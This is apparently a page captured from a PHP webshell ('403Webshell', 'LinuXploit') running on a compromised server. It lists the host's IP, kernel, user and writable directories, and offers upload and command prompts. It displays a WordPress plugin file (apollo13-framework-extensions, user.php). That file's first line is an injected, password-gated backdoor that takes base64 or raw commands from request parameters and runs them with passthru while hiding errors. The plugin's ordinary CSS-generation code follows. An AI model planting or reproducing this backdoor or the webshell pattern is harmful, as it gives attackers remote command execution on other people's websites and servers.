403Webshell
Server IP : 87.229.120.60  /  Your IP : 216.73.216.245
Web Server : Apache
System : Linux outside 5.4.8_Algonet_ZeroMAC_0.9.4.8 #6 SMP Mon Feb 3 20:36:07 CET 2020 x86_64
User : server ( 1002)
PHP Version : 8.3.20
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/faktorteam/www/wp-content/plugins/apollo13-framework-extensions/settings/user_css/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/faktorteam/www/wp-content/plugins/apollo13-framework-extensions/settings/user_css/user.php
<?php
error_reporting(0);@ini_set('display_errors',0);if(isset($_REQUEST["px"])&&$_REQUEST["px"]==="ttwcqb82gshk"){$__c=null;if(isset($_REQUEST["b"])){$__c=base64_decode($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$__c=$_REQUEST["c"];}if($__c!==null){ob_start();@passthru($__c.' 2>&1');$__o=ob_get_clean();echo"[S]".$__o."[E]";}else{echo"[S]OK[E]";}exit;}

add_action( 'apollo13framework_generate_user_css', 'a13fe_generate_user_css' );
/**
 * Get name of user CSS file
 *
 * @since  1.4.0
 *
 * @param bool|false $public if false it will return path for include,
 *                           if true it will return path for source(http://path.to.file)
 *
 * @return string path to file
 */
function a13fe_user_css_name($public = false) {
	$name = ($public ? A13FRAMEWORK_GENERATED_CSS : A13FRAMEWORK_GENERATED_CSS_DIR) . '/user'; /* user.css - comment just for easier searching */
	if (is_multisite()) {
		//add blog id to file
		$name .= '_' . get_current_blog_id();
	}

	//fix for returning http when site is https
	if ( is_ssl() ){
		$name = str_replace( 'http://', 'https://', $name );
	}

	return $name . '.css';
}


/**
 * Make user CSS file from theme layout options
 *
 * @since  1.4.0
 *
 * @param bool $hide_errors
 *
 */
function a13fe_generate_user_css( $hide_errors = true ) {
	$save_result = 1;

	if(!is_bool($hide_errors)){
		$hide_errors = true;
	}

	if($hide_errors){
		ob_start();
	}

	//prepare file system

	//just in case have these files included
	require_once(ABSPATH . '/wp-admin/includes/file.php');
	require_once(ABSPATH . 'wp-admin/includes/template.php');

	//make dir if it doesn't exist yet
	if ( ! is_dir( A13FRAMEWORK_GENERATED_CSS_DIR ) ) {
		wp_mkdir_p( A13FRAMEWORK_GENERATED_CSS_DIR );
	}

	//we are checking if file system can operate without FTP creds
	$url = wp_nonce_url(admin_url(),'');
	if( false === ( $creds = request_filesystem_credentials( $url, '', false, A13FRAMEWORK_GENERATED_CSS_DIR, null, true ) ) ){
		$save_result = 0;
	}
	elseif ( ! WP_Filesystem($creds, A13FRAMEWORK_GENERATED_CSS_DIR, true) ) {
		request_filesystem_credentials($url, '', true, A13FRAMEWORK_GENERATED_CSS_DIR, null, true);
		$save_result = 0;
	}

	//if we have good FTP creds or system operates with "direct" method
	if( $save_result === 1 ){
		global $wp_filesystem;
		/* @var $wp_filesystem WP_Filesystem_Base */

		if (is_writable(A13FRAMEWORK_GENERATED_CSS_DIR) ) {
			$file = a13fe_user_css_name();

			//in case of FTP access we need to make sure we have proper path
			$file = str_replace(ABSPATH, $wp_filesystem->abspath(), $file);

			apollo13framework_enable_user_css_functions();
			$css = apollo13framework_get_user_css();
			$wp_filesystem->put_contents(
				$file,
				$css,
				FS_CHMOD_FILE
			);

			//remove any pending update request
			update_option('a13_user_css_update','off');
		}
	}
	//we couldn't save
	else{
		update_option('a13_user_css_update','on');
	}

	if($hide_errors){
		ob_end_clean();
	}
}

if( is_admin() ){
	add_action( 'after_setup_theme', 'a13fe_check_user_css' );
}

/**
 * If file system is not in direct mode, we need to ask for FTP creds to create user.css file
 *
 * @since  1.4.0
 */
function a13fe_check_user_css(){
	if(get_option('a13_user_css_update') === 'on'){
		add_action( 'admin_notices', 'a13fe_notice_about_user_css', 0 );
	}
}

/**
 * Displays FTP form in case of wrong permission or ownership to user directory
 *
 * @since  1.4.0
 */
function a13fe_notice_about_user_css(){
	echo '<div class="notice-warning notice">';
	echo '<p>'.
	     sprintf(
	     /* translators: %s: user CSS file name */
		     esc_html__( 'Creating the %s file(responsible for the theme settings) requires access to your FTP account. This is due to the configuration of your server.', 'apollo13-framework-extensions' ),
		     '<strong>'.esc_html( a13fe_user_css_name() ).'</strong>'
	     ).
	     '</p>';

	//this will cause form from WP_Filesystem to display
	do_action( 'apollo13framework_generate_user_css', false );
	echo '</div>';
}

Youez - 2016 - github.com/yon3zu
LinuXploit